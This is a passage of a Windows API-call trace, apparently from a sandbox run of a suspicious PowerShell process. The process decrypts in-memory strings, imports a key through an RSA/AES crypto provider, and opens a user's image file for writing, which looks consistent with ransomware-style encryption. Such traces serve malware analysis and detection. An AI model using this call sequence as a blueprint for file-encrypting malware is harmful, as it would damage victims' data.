(param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.687] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.687] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.687] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.687] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.687] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.687] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.687] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.687] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.687] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.688] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.688] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.688] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.688] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.688] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.688] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.688] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.689] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.689] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.689] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.689] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.689] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.689] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.689] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.689] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.689] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.690] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.690] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.690] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.690] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.690] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.690] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.690] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.690] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.690] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.691] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.691] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0135.692] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396e78) returned 1 [0135.692] CryptImportKey (in: hProv=0x4396e78, pbData=0x6ab5a08, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84b78) returned 1 [0135.692] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.692] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.692] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.692] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.692] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0135.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0135.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.693] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.694] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.694] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.694] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.694] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.694] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.694] GetFileType (hFile=0x858) returned 0x1 [0135.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.694] GetFileType (hFile=0x858) returned 0x1 [0135.694] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 